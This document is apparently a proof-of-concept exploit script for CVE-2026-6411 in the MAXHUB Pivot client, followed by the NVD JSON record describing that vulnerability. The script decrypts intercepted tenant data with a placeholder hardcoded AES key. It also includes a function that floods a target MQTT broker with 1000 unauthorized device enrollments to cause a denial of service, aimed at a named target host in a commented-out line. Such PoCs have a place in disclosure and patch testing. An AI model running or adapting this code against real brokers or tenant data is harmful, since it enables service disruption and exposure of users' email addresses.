CVE-2026-6411

import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import paho.mqtt.client as mqtt # The AES key is hardcoded in the application (simulated extraction) HARDCODED_AES_KEY = b'0123456789abcdef0123456789abcdef' # Example 32-byte key def decrypt_tenant_data(encrypted_data_b64): """ Decrypts intercepted tenant data using the extracted hardcoded key. """ try: key = HARDCODED_AES_KEY # Assuming CBC mode and a static or null IV for this PoC cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16) encrypted_bytes = base64.b64decode(encrypted_data_b64) decrypted = unpad(cipher.decrypt(encrypted_bytes), AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Decryption error: {e}" def trigger_dos_via_mqtt(target_broker): """ Simulates a DoS attack by enrolling multiple unauthorized devices via MQTT. """ client = mqtt.Client("Attacker_Device") try: client.connect(target_broker, 1883, 60) print(f"Connected to {target_broker}, starting flood...") for i in range(1000): # Publish enrollment requests to valid tenant topics topic = f"tenant/enroll" payload = f"{{\"device_id\": \"malicious_{i}\"}}" client.publish(topic, payload) print("Flood complete.") except Exception as e: print(f"MQTT connection failed: {e}") if __name__ == "__main__": # 1. Demonstrate Decryption sample_encrypted = "U2FsdGVkX1+vupppZksvRf5pq5g5XjFRlipRkwB0K1Y=" # Placeholder print(f"Decrypted Data: {decrypt_tenant_data(sample_encrypted)}") # 2. Demonstrate DoS (requires valid broker) # trigger_dos_via_mqtt("mqtt.maxhub-target.com")

{"cve": {"id": "CVE-2026-6411", "sourceIdentifier": "[email protected]", "published": "2026-05-07T23:16:32.987", "lastModified": "2026-05-08T16:08:15.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability, in the MAXHUB Pivot client application versions \nprior to v1.36.2, may allow an attacker to obtain encrypted tenant email\n addresses and related metadata from any tenant. Due to the presence of a\n hardcoded AES key within the application, the encrypted data can be \ndecrypted, enabling access to tenant email addresses and associated \ninformation in cleartext. Furthermore, an attacker may be able to cause a\n denial-of-service condition by enrolling multiple unauthorized devices \ninto a tenant via MQTT, potentially disrupting tenant operations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-327"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-127-01.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-127-01", "source": "[email protected]"}, {"url": "https://www.maxhub.com/en/support/", "source": "[email protected]"}]}}